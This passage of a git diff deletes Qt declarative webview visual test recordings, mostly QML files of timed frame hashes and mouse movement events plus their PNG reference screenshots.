type: 5 - button: 0 - buttons: 0 - x: 98; y: 180 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7360 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 98; y: 178 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7376 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 177 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 176 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 174 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7392 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7408 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 100; y: 172 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 100; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7424 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 100; y: 170 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7440 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 100; y: 169 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7456 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 101; y: 167 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7472 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7488 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7504 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 101; y: 167 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7520 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7536 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7552 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7568 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7584 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7600 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7616 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Frame { - msec: 7632 - hash: "04e2e16813a9cafc37077a675e279f5f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 166 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 101; y: 166 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7648 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7664 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7680 - image: "evaluateJavaScript.7.png" - } - Frame { - msec: 7696 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7712 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7728 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7744 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7760 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7776 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7792 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7808 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7824 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 103; y: 166 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7840 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 7856 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 166 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7872 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 106; y: 165 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 107; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7888 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 108; y: 164 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 109; y: 163 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7904 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 111; y: 163 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 112; y: 162 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7920 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 116; y: 158 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7936 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 118; y: 157 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 122; y: 153 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7952 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 128; y: 147 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 134; y: 139 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7968 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 140; y: 133 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 146; y: 125 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 150; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7984 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 156; y: 109 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 160; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8000 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 164; y: 89 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 166; y: 77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8016 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 170; y: 67 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 172; y: 55 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8032 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 176; y: 45 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8048 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 35 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 27 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 180; y: 19 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8064 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 180; y: 11 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 182; y: 5 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8080 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8096 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8112 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8128 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8144 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8160 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8176 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8192 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8208 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8224 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8240 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8256 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8272 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8288 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8304 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8320 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8336 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8352 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8368 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8384 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8400 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8416 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8432 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8448 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8464 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8480 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8496 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8512 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8528 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8544 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8560 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8576 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8592 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8608 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8624 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8640 - image: "evaluateJavaScript.8.png" - } - Frame { - msec: 8656 - hash: "792140067e09d04b31e78be1fc9a40a2" - } - Frame { - msec: 8672 - hash: "792140067e09d04b31e78be1fc9a40a2" - } -} diff --git a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.0.png b/tests/auto/declarative/visual/webview/javascript/data/windowObjects.0.png deleted file mode 100644 index b5c35d2..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.1.png b/tests/auto/declarative/visual/webview/javascript/data/windowObjects.1.png deleted file mode 100644 index b5c35d2..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.2.png b/tests/auto/declarative/visual/webview/javascript/data/windowObjects.2.png deleted file mode 100644 index 28403c8..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.3.png b/tests/auto/declarative/visual/webview/javascript/data/windowObjects.3.png deleted file mode 100644 index 241b9f8..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.4.png b/tests/auto/declarative/visual/webview/javascript/data/windowObjects.4.png deleted file mode 100644 index 1877cb2..0000000 Binary files a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.qml b/tests/auto/declarative/visual/webview/javascript/data/windowObjects.qml deleted file mode 100644 index 7fce295..0000000 --- a/tests/auto/declarative/visual/webview/javascript/data/windowObjects.qml +++ /dev/null @@ -1,2643 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 32 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 48 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 64 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 80 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 96 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 112 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 128 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 144 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 160 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 176 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 192 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 208 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 224 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 240 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 256 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 272 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 288 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 304 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 320 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 336 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 352 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 368 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 384 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 400 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 416 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 432 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 448 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 464 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 480 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 496 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 512 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 528 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 544 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 560 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 576 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 592 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 608 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 624 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 640 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 656 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 672 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 688 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 704 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 720 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 736 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 752 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 768 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 784 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 800 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 816 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 832 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 848 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 864 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 880 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 896 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 912 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 928 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 944 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 960 - image: "windowObjects.0.png" - } - Frame { - msec: 976 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 992 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1008 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1024 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1040 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 155; y: 9 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 145; y: 23 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1056 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 137; y: 37 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 127; y: 53 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1072 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 119; y: 67 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 111; y: 77 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1088 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 103; y: 87 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1104 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 97; y: 93 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 87; y: 109 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1120 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 117 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 81; y: 125 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1136 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 81; y: 133 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 139 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1152 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 142 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 145 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1168 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 146 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 147 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1184 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1200 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1216 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1232 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1248 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 143 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1264 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1280 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 142 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 141 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 84; y: 139 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1296 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 85; y: 138 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1312 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1328 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1344 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 86; y: 137 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 87; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1360 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1376 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 138 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 139 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1392 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 141 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 142 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1408 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 144 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1424 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 146 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 148 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 149 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1440 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 151 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 153 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1456 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 154 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 90; y: 155 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1472 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1488 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1504 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1520 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1536 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1552 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1568 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1584 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1600 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1616 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1632 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1648 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1664 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1680 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1696 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1712 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1728 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1744 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1760 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1776 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1792 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1808 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1824 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1840 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1856 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1872 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1888 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1904 - hash: "b1a19797afefa71e30f4594064aa4951" - } - Frame { - msec: 1920 - image: "windowObjects.1.png" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 89; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1936 - hash: "fca76207a4fa6f2c4bb01d28aa018f0c" - } - Frame { - msec: 1952 - hash: "fca76207a4fa6f2c4bb01d28aa018f0c" - } - Frame { - msec: 1968 - hash: "fca76207a4fa6f2c4bb01d28aa018f0c" - } - Frame { - msec: 1984 - hash: "fca76207a4fa6f2c4bb01d28aa018f0c" - } - Frame { - msec: 2000 - hash: "fca76207a4fa6f2c4bb01d28aa018f0c" - } - Frame { - msec: 2016 - hash: "fca76207a4fa6f2c4bb01d28aa018f0c" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 89; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2032 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2048 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2064 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2080 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2096 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2112 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2128 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2144 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2160 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2176 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2192 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2208 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2224 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2240 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2256 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2272 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2288 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 157 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 88; y: 158 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 87; y: 160 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2304 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 87; y: 161 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 167 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2320 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - 